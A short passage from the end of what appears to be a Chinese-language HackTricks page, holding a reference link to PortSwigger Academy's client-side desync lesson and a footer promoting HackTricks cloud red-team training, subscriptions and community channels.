- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。